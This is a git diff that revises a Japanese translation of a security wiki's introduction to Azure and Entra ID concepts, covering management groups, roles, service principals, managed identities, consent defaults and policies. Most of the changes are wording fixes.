a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index c0066ab40..02df37368 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -9,12 +9,12 @@ ### 管理グループ - **他の管理グループやサブスクリプション**を含むことができます。 -- これにより、管理グループレベルで**ガバナンスコントロール**(RBACやAzureポリシーなど)を一度適用し、グループ内のすべてのサブスクリプションに**継承**させることができます。 +- これにより、管理グループレベルで**ガバナンスコントロール**(RBACやAzureポリシーなど)を適用し、グループ内のすべてのサブスクリプションに**継承**させることができます。 - **10,000の管理**グループが単一のディレクトリでサポートされます。 - 管理グループツリーは**最大6レベルの深さ**をサポートできます。この制限にはルートレベルやサブスクリプションレベルは含まれません。 - 各管理グループとサブスクリプションは**1つの親**のみをサポートできます。 - 複数の管理グループを作成できる場合でも、**ルート管理グループは1つだけ**です。 -- ルート管理グループは**すべての**他の**管理グループとサブスクリプションを含み、**移動または削除することはできません**。 +- ルート管理グループは**すべての他の管理グループとサブスクリプションを含み**、**移動または削除することはできません**。 - 単一の管理グループ内のすべてのサブスクリプションは、**同じEntra IDテナントを信頼**しなければなりません。

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

@@ -23,14 +23,14 @@ - これは、リソース(VM、DBなど)を実行し、請求される**論理コンテナ**です。 - その**親**は常に**管理グループ**であり(ルート管理グループであることも可能)、サブスクリプションは他のサブスクリプションを含むことはできません。 -- **1つのEntra ID**ディレクトリのみを**信頼**します。 +- **1つのEntra ID**ディレクトリのみを信頼します。 - サブスクリプションレベル(またはその親のいずれか)で適用された**権限**は、サブスクリプション内のすべてのリソースに**継承**されます。 ### リソースグループ -[ドキュメントから:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) リソースグループは、Azureソリューションのための**関連リソース**を保持する**コンテナ**です。リソースグループには、ソリューションのすべてのリソースを含めることも、**グループとして管理したいリソースのみ**を含めることもできます。一般的に、**同じライフサイクル**を共有する**リソース**を同じリソースグループに追加することで、グループとして簡単に展開、更新、削除できます。 +[ドキュメントから:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) リソースグループは、Azureソリューションのための**関連リソース**を保持する**コンテナ**です。リソースグループには、ソリューションのすべてのリソースを含めることも、管理したい**リソースのみ**を含めることもできます。一般的に、**同じライフサイクル**を共有する**リソース**を同じリソースグループに追加することで、グループとして簡単に展開、更新、削除できます。 -すべての**リソース**は**リソースグループ内**に存在し、グループにのみ属し、リソースグループが削除されると、その中のすべてのリソースも削除されます。 +すべての**リソース**は**リソースグループ内**に存在し、グループにのみ属することができ、リソースグループが削除されると、その中のすべてのリソースも削除されます。

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

@@ -38,27 +38,27 @@ Azureのすべてのリソースには、それを識別するAzureリソースIDがあります。 -AzureリソースIDの形式は次のとおりです。 +AzureリソースIDの形式は次のとおりです: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -サブスクリプションID `12345678-1234-1234-1234-123456789012` のリソースグループ `myResourceGroup` にある仮想マシン `myVM` のAzureリソースIDは次のようになります。 +サブスクリプションID `12345678-1234-1234-1234-123456789012` のリソースグループ `myResourceGroup` にある仮想マシン名 `myVM` のAzureリソースIDは次のようになります: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` -## AzureとEntra IDとAzure ADドメインサービス +## Azure vs Entra ID vs Azure ADドメインサービス ### Azure -Azureは、Microsoftの包括的な**クラウドコンピューティングプラットフォームで、幅広いサービスを提供**しており、仮想マシン、データベース、人工知能、ストレージなどが含まれます。アプリケーションのホスティングと管理、スケーラブルなインフラストラクチャの構築、クラウドでの最新のワークロードの実行の基盤として機能します。Azureは、開発者やIT専門家がアプリケーションやサービスをシームレスに作成、展開、管理できるツールを提供し、スタートアップから大企業までさまざまなニーズに対応します。 +Azureは、Microsoftの包括的な**クラウドコンピューティングプラットフォームであり、幅広いサービスを提供**しています。これには、仮想マシン、データベース、人工知能、ストレージが含まれます。Azureは、アプリケーションのホスティングと管理、スケーラブルなインフラストラクチャの構築、クラウドでの最新のワークロードの実行の基盤として機能します。Azureは、開発者やIT専門家がアプリケーションやサービスをシームレスに作成、展開、管理できるツールを提供し、スタートアップから大企業までさまざまなニーズに対応します。 ### Entra ID(旧Azure Active Directory) -Entra IDは、認証、承認、ユーザーアクセス制御を処理するために設計されたクラウドベースの**アイデンティティおよびアクセス管理サービス**です。Office 365、Azure、その他の多くのサードパーティのSaaSアプリケーションへの安全なアクセスを提供します。シングルサインオン(SSO)、多要素認証(MFA)、条件付きアクセスポリシーなどの機能を備えています。 +Entra IDは、認証、承認、ユーザーアクセス制御を処理するために設計されたクラウドベースの**アイデンティティおよびアクセス管理サービス**です。これは、Office 365、Azure、および多くのサードパーティのSaaSアプリケーションへの安全なアクセスを提供します。シングルサインオン(SSO)、多要素認証(MFA)、条件付きアクセスポリシーなどの機能を備えています。 ### Entraドメインサービス(旧Azure AD DS) -Entraドメインサービスは、従来のWindows Active Directory環境と互換性のある**管理されたドメインサービスを提供することにより、Entra IDの機能を拡張**します。LDAP、Kerberos、NTLMなどのレガシープロトコルをサポートし、組織がオンプレミスのドメインコントローラーを展開することなく、クラウドで古いアプリケーションを移行または実行できるようにします。このサービスは、集中管理のためのグループポリシーもサポートしており、レガシーまたはADベースのワークロードが最新のクラウド環境と共存する必要があるシナリオに適しています。 +Entraドメインサービスは、従来のWindows Active Directory環境と互換性のある**管理されたドメインサービス**を提供することでEntra IDの機能を拡張します。LDAP、Kerberos、NTLMなどのレガシープロトコルをサポートし、組織がオンプレミスのドメインコントローラーを展開することなく、古いアプリケーションをクラウドで移行または実行できるようにします。このサービスは、集中管理のためのグループポリシーもサポートしており、レガシーまたはADベースのワークロードが最新のクラウド環境と共存する必要があるシナリオに適しています。 ## Entra IDプリンシパル @@ -77,9 +77,9 @@ Entraドメインサービスは、従来のWindows Active Directory環境と互 ### メンバーとゲストのデフォルト権限 -[https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) で確認できますが、メンバーは以下のアクションを実行できます。 +[https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) で確認できますが、メンバーは以下のアクションを実行できます: -- すべてのユーザー、グループ、アプリケーション、デバイス、ロール、サブスクリプション、およびその公開プロパティを読み取る +- すべてのユーザー、グループ、アプリケーション、デバイス、役割、サブスクリプション、およびその公開プロパティを読み取る - ゲストを招待する(_オフにすることが可能_) - セキュリティグループを作成する - 非表示のグループメンバーシップを読み取る @@ -88,72 +88,72 @@ Entraドメインサービスは、従来のWindows Active Directory環境と互 - Azureに最大50デバイスを追加する(_オフにすることが可能_) > [!NOTE] -> Azureリソースを列挙するには、ユーザーに明示的な権限の付与が必要です。 +> Azureリソースを列挙するには、ユーザーに明示的に権限を付与する必要があります。 ### ユーザーのデフォルト設定可能な権限 - **メンバー(**[**ドキュメント**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** -- アプリケーションの登録: デフォルトは**はい** -- 非管理者ユーザーによるテナントの作成を制限: デフォルトは**いいえ** -- セキュリティグループの作成: デフォルトは**はい** -- Microsoft Entra管理ポータルへのアクセスを制限: デフォルトは**いいえ** +- アプリケーションの登録:デフォルトは**はい** +- 非管理者ユーザーがテナントを作成するのを制限:デフォルトは**いいえ** +- セキュリティグループを作成する:デフォルトは**はい** +- Microsoft Entra管理ポータルへのアクセスを制限:デフォルトは**いいえ** - これはポータルへのAPIアクセスを制限しません(ウェブのみ) -- ユーザーがLinkedInと仕事または学校のアカウントを接続できるようにする: デフォルトは**はい** -- ユーザーをサインインしたままにする: デフォルトは**はい** -- ユーザーが所有するデバイスのBitLockerキーを回復することを制限: デフォルトはいいえ(デバイス設定で確認) -- 他のユーザーを読み取る: デフォルトは**はい**(Microsoft Graph経由) +- ユーザーがLinkedInと仕事または学校のアカウントを接続できるようにする:デフォルトは**はい** +- ユーザーをサインインしたままにする:デフォルトは**はい** +- ユーザーが所有するデバイスのBitLockerキーを回復するのを制限:デフォルトはいいえ(デバイス設定で確認) +- 他のユーザーを読み取る:デフォルトは**はい**(Microsoft Graph経由) - **ゲスト** - **ゲストユーザーアクセス制限** - **ゲストユーザーはメンバーと同じアクセス権を持つ**は、デフォルトでゲストユーザーにすべてのメンバー権限を付与します。 -- **ゲストユーザーはディレクトリオブジェクトのプロパティとメンバーシップへのアクセスが制限される(デフォルト)**は、デフォルトで自分のユーザープロファイルのみへのアクセスを制限します。他のユーザーやグループ情報へのアクセスは許可されません。 -- **ゲストユーザーアクセスは自分のディレクトリオブジェクトのプロパティとメンバーシップに制限される**が最も制限的です。 +- **ゲストユーザーはディレクトリオブジェクトのプロパティとメンバーシップへのアクセスが制限される(デフォルト)**は、デフォルトでゲストのアクセスを自分のユーザープロファイルのみに制限します。他のユーザーやグループ情報へのアクセスは許可されません。 +- **ゲストユーザーアクセスは自分のディレクトリオブジェクトのプロパティとメンバーシップに制限される**は、最も制限的です。 - **ゲストは招待できる** - **組織内の誰でもゲストユーザーを招待できる(ゲストや非管理者を含む、最も包括的) - デフォルト** -- **メンバーユーザーおよび特定の管理ロールに割り当てられたユーザーは、メンバー権限を持つゲストを含むゲストユーザーを招待できます** -- **特定の管理ロールに割り当てられたユーザーのみがゲストユーザーを招待できます** +- **メンバーユーザーおよび特定の管理役割に割り当てられたユーザーは、メンバー権限を持つゲストを含むゲストユーザーを招待できます** +- **特定の管理役割に割り当てられたユーザーのみがゲストユーザーを招待できます** - **組織内の誰もゲストユーザーを招待できない(管理者を含む、最も制限的)** -- **外部ユーザーの退会**: デフォルトは**真** -- 外部ユーザーが組織を退会できるようにする +- **外部ユーザーの退会**:デフォルトは**真** +- 外部ユーザーが組織を離れることを許可 > [!TIP] > デフォルトで制限されていても、権限が付与されたユーザー(メンバーとゲスト)は前述のアクションを実行できます。 ### **グループ** -**2種類のグループ**があります。 +**2種類のグループ**があります: -- **セキュリティ**: このタイプのグループは、メンバーにアプリケーション、リソースへのアクセスを提供し、ライセンスを割り当てるために使用されます。ユーザー、デバイス、サービスプリンシパル、他のグループがメンバーになれます。 -- **Microsoft 365**: このタイプのグループは、コラボレーションのために使用され、メンバーに共有メールボックス、カレンダー、ファイル、SharePointサイトなどへのアクセスを提供します。グループメンバーはユーザーのみです。 +- **セキュリティ**:このタイプのグループは、メンバーにアプリケーション、リソースへのアクセスを提供し、ライセンスを割り当てるために使用されます。ユーザー、デバイス、サービスプリンシパル、他のグループがメンバーになれます。 +- **Microsoft 365**:このタイプのグループは、コラボレーションのために使用され、メンバーに共有メールボックス、カレンダー、ファイル、SharePointサイトなどへのアクセスを提供します。グループメンバーはユーザーのみです。 - これは、EntraIDテナントのドメインを持つ**メールアドレス**を持ちます。 -**2種類のメンバーシップ**があります。 +**2種類のメンバーシップ**があります: -- **割り当てられた**: 特定のメンバーを手動でグループに追加することを許可します。 -- **動的メンバーシップ**: ルールを使用してメンバーシップを自動的に管理し、メンバーの属性が変更されるとグループの含有を更新します。 +- **割り当てられた**:特定のメンバーを手動でグループに追加することを許可します。 +- **動的メンバーシップ**:ルールを使用してメンバーシップを自動的に管理し、メンバーの属性が変更されるとグループの含有を更新します。 ### **サービスプリンシパル** -**サービスプリンシパル**は、**アプリケーション**、ホスティングサービス、および自動化ツールがAzureリソースにアクセスするために**使用**される**アイデンティティ**です。このアクセスは、サービスプリンシパルに割り当てられたロールによって**制限され**、**どのリソースにアクセスできるか**とそのレベルを制御します。セキュリティ上の理由から、**ユーザーアイデンティティでログインするのではなく、自動化ツールとともにサービスプリンシパルを使用することを常に推奨します**。 +**サービスプリンシパル**は、**アプリケーション**、ホスティングサービス、および自動化ツールがAzureリソースにアクセスするために**使用**される**アイデンティティ**です。このアクセスは、サービスプリンシパルに割り当てられた役割によって**制限され**、**どのリソースにアクセスできるか**とそのレベルを制御します。セキュリティ上の理由から、**ユーザーアイデンティティでログインするのではなく、自動化ツールとともにサービスプリンシパルを使用することを常に推奨します**。 -サービスプリンシパルとして**直接ログインする**ことも可能で、**シークレット**(パスワード)、**証明書**を生成するか、第三者プラットフォーム(例:Github Actions)への**フェデレーテッド**アクセスを付与することができます。 +サービスプリンシパルとして**直接ログインする**ことも可能で、**シークレット**(パスワード)、**証明書**、または第三者プラットフォーム(例:Github Actions)への**フェデレーテッド**アクセスを付与することができます。 -- **パスワード**認証(デフォルト)を選択した場合、**生成されたパスワードを保存**してください。再度アクセスすることはできません。 +- **パスワード**認証を選択した場合(デフォルト)、**生成されたパスワードを保存**してください。再度アクセスすることはできません。 - 証明書認証を選択した場合、**アプリケーションがプライベートキーにアクセスできることを確認**してください。 ### アプリ登録 **アプリ登録**は、アプリケーションがEntra IDと統合し、アクションを実行できるようにするための構成です。 -#### 主要コンポーネント: +#### 主要コンポーネント: -1. **アプリケーションID(クライアントID)**: Azure AD内のアプリの一意の識別子。 -2. **リダイレクトURI**: Azure ADが認証応答を送信するURL。 -3. **証明書、シークレット、フェデレーテッド資格情報**: アプリケーションのサービスプリンシパルとしてログインするためにシークレットまたは証明書を生成するか、フェデレーテッドアクセスを付与することが可能です。 - 1. **証明書**または**シークレット**が生成された場合、**アプリケーションID**、**シークレット**または**証明書**、および**テナント**(ドメインまたはID)を知っていることで、CLIツールを使用して**サービスプリンシパルとしてログイン**できます。 -4. **API権限**: アプリがアクセスできるリソースまたはAPIを指定します。 -5. **認証設定**: アプリのサポートされている認証フローを定義します(例:OAuth2、OpenID Connect)。 -6. **サービスプリンシパル**: アプリが作成されると(ウェブコンソールから行われた場合)、サービスプリンシパルが作成されます。 - 1. **サービスプリンシパル**は、構成されたすべての要求された権限を取得します。 +1. **アプリケーションID(クライアントID)**:Azure AD内のアプリの一意の識別子。 +2. **リダイレクトURI**:Azure ADが認証応答を送信するURL。 +3. **証明書、シークレット、フェデレーテッド資格情報**:サービスプリンシパルとしてアプリケーションにログインするためのシークレットまたは証明書を生成することができ、またはそれにフェデレーテッドアクセスを付与することができます(例:Github Actions)。 +1. **証明書**または**シークレット**が生成された場合、**アプリケーションID**、**シークレット**または**証明書**、および**テナント**(ドメインまたはID)を知っていることで、CLIツールを使用して**サービスプリンシパルとしてログイン**できます。 +4. **API権限**:アプリがアクセスできるリソースまたはAPIを指定します。 +5. **認証設定**:アプリのサポートされている認証フローを定義します(例:OAuth2、OpenID Connect)。 +6. **サービスプリンシパル**:アプリが作成されると(ウェブコンソールから行われた場合)、サービスプリンシパルが作成されます。 +1. **サービスプリンシパル**は、構成されたすべての要求された権限を取得します。 ### デフォルト同意権限 @@ -161,73 +161,73 @@ Entraドメインサービスは、従来のWindows Active Directory環境と互 - **ユーザー同意を許可しない** - すべてのアプリに対して管理者が必要です。 -- **確認されたパブリッシャーからのアプリに対するユーザー同意を許可し、選択された権限(推奨)** -- すべてのユーザーは、「低影響」と分類された権限に同意でき、確認されたパブリッシャーからのアプリやこの組織に登録されたアプリに対して同意できます。 -- **デフォルト**の低影響権限(ただし、低影響として追加するには同意が必要): - - User.Read - サインインしてユーザープロファイルを読み取る - - offline_access - ユーザーがアクセスを許可したデータへのアクセスを維持する - - openid - ユーザーをサインインさせる - - profile - ユーザーの基本プロファイルを表示する - - email - ユーザーのメールアドレスを表示する +- **検証されたパブリッシャーからのアプリに対して、選択された権限のユーザー同意を許可する(推奨)** +- すべてのユーザーは、「低影響」と分類された権限に対して同意でき、検証されたパブリッシャーからのアプリやこの組織に登録されたアプリに対して同意できます。 +- **デフォルト**の低影響権限(ただし、低影響として追加するには同意が必要): +- User.Read - サインインしてユーザープロファイルを読み取る +- offline_access - ユーザーがアクセスを許可したデータへのアクセスを維持する +- openid - ユーザーをサインインさせる +- profile - ユーザーの基本プロファイルを表示する +- email - ユーザーのメールアドレスを表示する - **アプリに対するユーザー同意を許可する(デフォルト)** - すべてのユーザーは、組織のデータにアクセスするために任意のアプリに同意できます。 -**管理者同意要求**: デフォルトは**いいえ** +**管理者同意要求**:デフォルトは**いいえ** - ユーザーは、同意できないアプリに対して管理者同意を要求できます。 -- **はい**の場合: 同意要求を行うことができるユーザー、グループ、ロールを指定できます。 -- ユーザーがメール通知や期限切れリマインダーを受け取るかどうかも設定できます。 +- **はい**の場合:同意要求を行うことができるユーザー、グループ、役割を指定できます。 +- ユーザーがメール通知や期限切れリマインダーを受け取るかどうかも設定します。 -### **管理されたアイデンティティ(メタデータ)** +### **マネージドアイデンティティ(メタデータ)** -Azure Active Directoryの管理されたアイデンティティは、アプリケーションの**アイデンティティを自動的に管理する**ためのソリューションを提供します。これらのアイデンティティは、Azure Active Directory(**Azure AD**)認証と互換性のある**リソース**に接続するためにアプリケーションによって使用されます。これにより、アプリケーションは**メタデータ**サービスに連絡して、有効なトークンを取得し、Azureで指定された管理されたアイデンティティとして**アクションを実行**できるようになります。 +Azure Active Directoryのマネージドアイデンティティは、アプリケーションの**アイデンティティを自動的に管理する**ためのソリューションを提供します。これらのアイデンティティは、Azure Active Directory(**Azure AD**)認証と互換性のある**リソース**に接続するためにアプリケーションによって使用されます。これにより、アプリケーションは**メタデータ**サービスに連絡して、Azureで指定されたマネージドアイデンティティとして**アクションを実行する**ための有効なトークンを取得できるため、クラウド資格情報をコードにハードコーディングする必要がなくなります。 -管理されたアイデンティティには2種類あります。 +マネージドアイデンティティには2種類あります: -- **システム割り当て**: 一部のAzureサービスでは、**サービスインスタンスに直接管理されたアイデンティティを有効にする**ことができます。システム割り当ての管理されたアイデンティティを有効にすると、リソースが存在するサブスクリプションによって信頼されるEntra IDテナントに**サービスプリンシパル**が作成されます。**リソース**が**削除されると**、Azureは自動的に**アイデンティティ**を削除します。 -- **ユーザー割り当て**: ユーザーが管理されたアイデンティティを生成することも可能です。これらは、サブスクリプション内のリソースグループ内に作成され、サブスクリプションによって信頼されるEntraIDにサービスプリンシパルが作成されます。その後、管理されたアイデンティティをAzureサービスの1つまたは**複数のインスタンス**(複数のリソース)に割り当てることができます。ユーザー割り当ての管理されたアイデンティティでは、**アイデンティティはそれを使用するリソースとは別に管理されます**。 +- **システム割り当て**。一部のAzureサービスでは、**サービスインスタンスに直接マネージドアイデンティティを有効にする**ことができます。システム割り当てマネージドアイデンティティを有効にすると、**サービスプリンシパル**がリソースが存在するサブスクリプションのEntra IDテナントに作成されます。**リソース**が**削除される**と、Azureは自動的に**アイデンティティ**を削除します。 +- **ユーザー割り当て**。ユーザーがマネージドアイデンティティを生成することも可能です。これらは、サブスクリプション内のリソースグループ内に作成され、サブスクリプションによって信頼されるEntraIDにサービスプリンシパルが作成されます。その後、マネージドアイデンティティを1つまたは**複数のAzureサービスのインスタンス**に割り当てることができます(複数のリソース)。ユーザー割り当てマネージドアイデンティティの場合、**アイデンティティはそれを使用するリソースとは別に管理されます**。 -管理されたアイデンティティは、サービスプリンシパルにアクセスするための永続的な資格情報(パスワードや証明書など)を生成しません。 +マネージドアイデンティティは、サービスプリンシパルに付随する**永続的な資格情報**(パスワードや証明書など)を生成しません。 ### エンタープライズアプリケーション これは、サービスプリンシパルをフィルタリングし、割り当てられたアプリケーションを確認するための**Azure内のテーブル**です。 -**別の「アプリケーション」タイプではありません。** Azure内に「エンタープライズアプリケーション」というオブジェクトは存在せず、サービスプリンシパル、アプリ登録、管理されたアイデンティティを確認するための抽象化に過ぎません。 +**「エンタープライズアプリケーション」という別のタイプの「アプリケーション」ではありません。** Azure内に「エンタープライズアプリケーション」というオブジェクトは存在せず、サービスプリンシパル、アプリ登録、マネージドアイデンティティを確認するための抽象化に過ぎません。 -### 管理単位 +### 管理ユニット -管理単位は、**組織の特定の部分に対してロールから権限を付与する**ことを可能にします。 +管理ユニットは、**組織の特定の部分に対して役割から権限を付与する**ことを可能にします。 -例: +例: -- シナリオ: 会社は地域のIT管理者に自分の地域のユーザーのみを管理させたい。 -- 実装: - - 各地域のために管理単位を作成します(例: "北米AU"、"ヨーロッパAU")。 - - 各地域のユーザーでAUを構成します。 - - AUは**ユーザー、グループ、またはデバイスを含むことができます** - - AUは**動的メンバーシップをサポートします** - - AUは**AUを含むことができません** - - 管理ロールを割り当てます: - - 地域のITスタッフに「ユーザー管理者」ロールを付与し、その地域のAUにスコープを設定します。 - - 結果: 地域のIT管理者は、他の地域に影響を与えることなく、自分の地域内のユーザーアカウントを管理できます。 +- シナリオ:ある会社が地域のIT管理者に自分の地域のユーザーのみを管理させたい。 +- 実装: +- 各地域のために管理ユニットを作成します(例:「北米AU」、「ヨーロッパAU」)。 +- 各地域のユーザーでAUを構成します。 +- AUは**ユーザー、グループ、またはデバイスを含むことができます** +- AUは**動的メンバーシップをサポートします** +- AUは**AUを含むことができません** +- 管理役割を割り当てます: +- 地域のITスタッフに「ユーザー管理者」役割を付与し、その地域のAUにスコープを設定します。 +- 結果:地域のIT管理者は、他の地域に影響を与えることなく、自分の地域内のユーザーアカウントを管理できます。 -### Entra IDロール +### Entra ID役割 -- Entra IDを管理するために、Entra IDプリンシパルに割り当てることができる**組み込みロール**があります。 -- ロールは[https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)で確認できます。 -- 最も特権のあるロールは**グローバル管理者**です。 -- ロールの説明には、その**詳細な権限**が表示されます。 +- Entra IDを管理するために、Entra IDプリンシパルに割り当てることができる**組み込み役割**があります。 +- 役割は[https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)で確認できます。 +- 最も特権のある役割は**グローバル管理者**です。 +- 役割の説明には、その**詳細な権限**が表示されます。 -## ロールと権限 +## 役割と権限 -**ロール**は、**プリンシパル**に**スコープ**で割り当てられます: `principal -[HAS ROLE]->(scope)` +**役割**は**プリンシパル**に**スコープ**で**割り当てられます**: `principal -[HAS ROLE]->(scope)` -**グループ**に割り当てられた**ロール**は、グループのすべての**メンバー**に**継承**されます。 +**グループ**に割り当てられた**役割**は、グループのすべての**メンバー**に**継承**されます。 -ロールが割り当てられたスコープに応じて、**ロール**はスコープコンテナ内の**他のリソース**に**継承**される可能性があります。たとえば、ユーザーAが**サブスクリプション**にロールを持っている場合、彼はその**サブスクリプション内のすべてのリソースグループ**および**リソースグループ内のすべてのリソース**にその**ロール**を持ちます。 +役割が割り当てられたスコープに応じて、**役割**はスコープコンテナ内の**他のリソース**に**継承**される可能性があります。たとえば、ユーザーAが**サブスクリプション**に役割を持っている場合、彼はその**サブスクリプション内のすべてのリソースグループ**および**リソースグループ内のすべてのリソース**にその**役割**を持ちます。 -### **クラシックロール** +### **クラシック役割** | **オーナー** |
  • すべてのリソースへの完全なアクセス
  • 他のユーザーのアクセスを管理できる
| すべてのリソースタイプ | | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | @@ -235,34 +235,34 @@ Azure Active Directoryの管理されたアイデンティティは、アプリ | **リーダー** | • すべてのリソースを表示 | すべてのリソースタイプ | | **ユーザーアクセス管理者** |
  • すべてのリソースを表示
  • 他のユーザーのアクセスを管理できる
| すべてのリソースタイプ | -### 組み込みロール +### 組み込み役割 -[ドキュメントから: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azureロールベースアクセス制御(Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview)には、**ユーザー、グループ、サービスプリンシパル、および管理されたアイデンティティ**に**割り当てることができる**いくつかのAzureの**組み込みロール**があります。ロールの割り当ては、**Azureリソースへのアクセスを制御する方法**です。組み込みロールが組織の特定のニーズを満たさない場合は、独自の[**Azureカスタムロール**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**を作成できます。** +[ドキュメントから: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azureロールベースアクセス制御(Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview)には、**ユーザー、グループ、サービスプリンシパル、およびマネージドアイデンティティ**に**割り当てることができる**いくつかのAzureの**組み込み役割**があります。役割の割り当ては、**Azureリソースへのアクセスを制御する方法**です。組み込み役割が組織の特定のニーズを満たさない場合は、独自の[**Azureカスタム役割**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**を作成できます。** -**組み込み**ロールは、**意図されたリソース**にのみ適用されます。たとえば、以下の2つの**組み込みロール**の例を確認してください。 +**組み込み**役割は、**意図されたリソース**にのみ適用されます。たとえば、次の2つの**組み込み役割**の例を確認してください: -| [ディスクバックアップリーダー](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | ディスクバックアップを実行するためにバックアップボールトへの権限を提供します。 | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [ディスクバックアップリーダー](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | ディスクバックアップを実行するためのバックアップボールトへの権限を提供します。 | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | -| [仮想マシンユーザーログイン](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | ポータル内の仮想マシンを表示し、通常のユーザーとしてログインします。 | fb879df8-f326-4884-b1cf-06f3ad86be52 | +| [仮想マシンユーザーログイン](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | ポータルで仮想マシンを表示し、通常のユーザーとしてログインします。 | fb879df8-f326-4884-b1cf-06f3ad86be52 | -これらのロールは、**論理コンテナ**(管理グループ、サブスクリプション、リソースグループなど)にも**割り当てることができ**、影響を受けるプリンシパルは**それらのコンテナ内のリソースに対して**持ちます。 +これらの役割は、**論理コンテナ**(管理グループ、サブスクリプション、リソースグループなど)にも割り当てることができ、影響を受けるプリンシパルは**それらのコンテナ内のリソースに対して役割を持ちます**。 -- ここに[**すべてのAzure組み込みロール**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)のリストがあります。 -- ここに[**すべてのEntra ID組み込みロール**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference)のリストがあります。 +- ここに[**すべてのAzure組み込み役割**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)のリストがあります。 +- ここに[**すべてのEntra ID組み込み役割**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference)のリストがあります。 -### カスタムロール +### カスタム役割 -- [**カスタムロール**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)を作成することも可能です。 -- これらはスコープ内に作成されますが、ロールは複数のスコープ(管理グループ、サブスクリプション、リソースグループ)に存在できます。 -- カスタムロールが持つすべての詳細な権限を構成できます。 +- [**カスタム役割**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)を作成することも可能です。 +- これらはスコープ内に作成されますが、役割は複数のスコープ(管理グループ、サブスクリプション、リソースグループ)に存在できます。 +- カスタム役割が持つすべての詳細な権限を構成できます。 - 権限を除外することも可能です。 - 除外された権限を持つプリンシパルは、他の場所で権限が付与されていてもそれを使用できません。 - ワイルドカードを使用することも可能です。 - 使用される形式はJSONです。 -- `actions`はリソースに対する制御アクションのためのものです。 +- `actions`はリソースに対する制御アクションです。 - `dataActions`はオブジェクト内のデータに対する権限です。 -カスタムロールの権限JSONの例: +カスタム役割のための権限JSONの例: ```json { "properties": { @@ -294,14 +294,14 @@ Azure Active Directoryの管理されたアイデンティティは、アプリ ``` ### Permissions order -- リソースに対して**principalがアクセスを持つためには**、明示的な役割が彼に付与される必要があります(いかなる方法でも)**その権限を付与します**。 +- リソースに対して**principalがアクセスを持つためには**、明示的な役割が付与される必要があります(いかなる方法でも)**その権限を付与します**。 - 明示的な**拒否役割の割り当ては**、権限を付与する役割よりも優先されます。

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

### Global Administrator -Global Administratorは、**Entra IDテナントに対する完全な制御を付与する**Entra IDの役割です。しかし、デフォルトではAzureリソースに対する権限は付与されません。 +Global Administratorは、**Entra IDテナントに対する完全な制御を付与する**Entra IDの役割です。ただし、デフォルトではAzureリソースに対する権限は付与されません。 Global Administratorの役割を持つユーザーは、**Root Management Group内でUser Access Administrator Azure役割に「昇格」する能力を持っています**。したがって、Global Administratorsは**すべてのAzureサブスクリプションおよび管理グループのアクセスを管理できます。**\ この昇格はページの下部で行うことができます: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) @@ -310,7 +310,7 @@ Global Administratorの役割を持つユーザーは、**Root Management Group ### Azure Policies -**Azure Policies**は、組織がリソースが特定の基準およびコンプライアンス要件を満たすことを保証するためのルールです。これにより、**Azure内のリソースに設定を強制または監査することができます**。たとえば、許可されていない地域での仮想マシンの作成を防止したり、すべてのリソースに追跡用の特定のタグが付けられていることを確認したりできます。 +**Azure Policies**は、組織がリソースが特定の基準およびコンプライアンス要件を満たすことを保証するためのルールです。これにより、**Azure内のリソースに対して設定を強制または監査することができます**。たとえば、許可されていない地域での仮想マシンの作成を防止したり、すべてのリソースに追跡用の特定のタグが付けられていることを確認したりできます。 Azure 